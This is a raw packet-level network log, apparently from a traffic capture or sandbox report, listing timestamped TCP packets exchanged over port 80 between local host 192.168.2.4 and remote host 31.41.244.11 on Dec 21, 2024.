Dec 21, 2024 10:15:21.499120951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.500181913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.500231028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.500271082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.500319004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.501328945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.501373053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.501442909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.501485109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.502547026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.502588987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.502623081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.502664089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.503730059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.503771067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.503804922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.503842115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.504930973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.504951954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.504976034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.504991055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.506150007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.506187916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.506253958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.506320000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.507239103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.507277966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.507350922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.507390022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.508414030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.508467913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.508476973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.508514881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.509602070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.509649038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.509713888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.509763956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.510776043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.510819912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.510889053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.511038065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.512000084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.512074947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.512161016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.512217999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.513150930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.513200045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.513319016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.513365030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.514358997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.514404058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.514467001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.514509916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.515515089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.515558004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.515593052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.515640020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.516745090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.516784906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.516825914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.516868114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.517901897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.517945051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.517973900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.518014908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.519063950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.519119024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.519129038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.519264936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.520284891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.520349979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.520385981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.520428896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.521452904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.521565914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.521594048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.521609068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.522830963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.522898912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.522939920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.522983074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.523833990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.523879051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.523916960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.524000883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.525101900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.525147915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.525351048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.525397062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.526336908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.526381016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.526412964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.526460886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.527394056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.527448893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.527477026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.527517080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.528548002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.528601885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.528640985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.528681993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.529725075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.529766083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.529920101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.530052900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.530951023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.531001091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.531064987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.531111956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.532087088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.532131910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.532172918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.532257080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.533272982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.533338070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.533340931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.533540010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.534483910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.534548998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.534595966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.535710096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.535756111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.535780907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.535821915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.536843061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.536886930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.536920071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.537015915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.537990093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.538032055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.538153887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.538244963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.539206982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.539251089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.539325953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.539365053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.540371895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.540416002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.540633917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.540674925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.541568041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.541610956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.541779041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.541824102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.542757034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.542798996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.542867899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.542953968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.544109106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.544153929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.544236898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.544279099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.545118093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.545164108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.545229912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.545273066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.546300888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.546344995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.546377897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.546417952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.547501087 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.547563076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.547564030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.547600985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.548644066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.548680067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.548757076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.548794031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.549860001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.549899101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.549942017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.549979925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.551044941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.551090002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.551131010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.551168919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.552211046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.552252054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.552392006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.552428961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.553442955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.553508997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.553545952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.553699970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.554521084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.554563999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.684434891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.684485912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.684520006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.684564114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.684741020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.684798002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.684940100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.685127974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.685928106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.685969114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.686002970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.686052084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.687088013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.687135935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.687176943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.688273907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.688318014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.688375950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.688461065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.689461946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.689587116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.689620972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.689665079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.690681934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.690736055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.690814018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.690855980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.691864967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.691907883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.691942930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.691984892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.693033934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.693078041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.693124056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.693166018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.694257021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.694300890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.694343090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.694380999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.695363045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.695409060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.695498943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.695540905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.696568012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.696610928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.696650028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.696691036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.697762966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.697803974 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.697808981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.697844982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.698968887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.699062109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.699063063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.699104071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.700129032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.700169086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.700238943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.700340033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.701308012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.701347113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.701405048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.701445103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.702486038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.702526093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.702534914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.702575922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.703656912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.703704119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.703749895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.703844070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.704871893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.704920053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.704988956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.705050945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.706078053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.706125975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.706162930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.706206083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.707216978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.707261086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.707273960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.707345963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.708385944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.708429098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.708467960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.708565950 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.709578991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.709625006 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.709649086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.709809065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.710747004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.710793018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.710870981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.710941076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.711946011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.712012053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.712047100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.712131023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.713119984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.713169098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.713243008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.713284016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.714306116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.714359045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.714401007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.714442968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.715508938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.715552092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.715620041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.715687990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.716676950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.716722965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.716763973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.716919899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.717869997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.717917919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.718086958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.718142986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.719048977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.719094038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.719137907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.719180107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.720254898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.720292091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.720376968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.720441103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.721402884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.721446037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.721479893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.721635103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.722583055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.722635984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.722703934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.722805977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.723793030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.723835945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.723910093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.723959923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.724958897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.725009918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.725086927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.725130081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.726145029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.726254940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.726257086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.726299047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.727372885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.727417946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.727458000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.727498055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.728519917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.728560925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.728609085 CET	80	49781	31.41.244.11	192.168.2.4
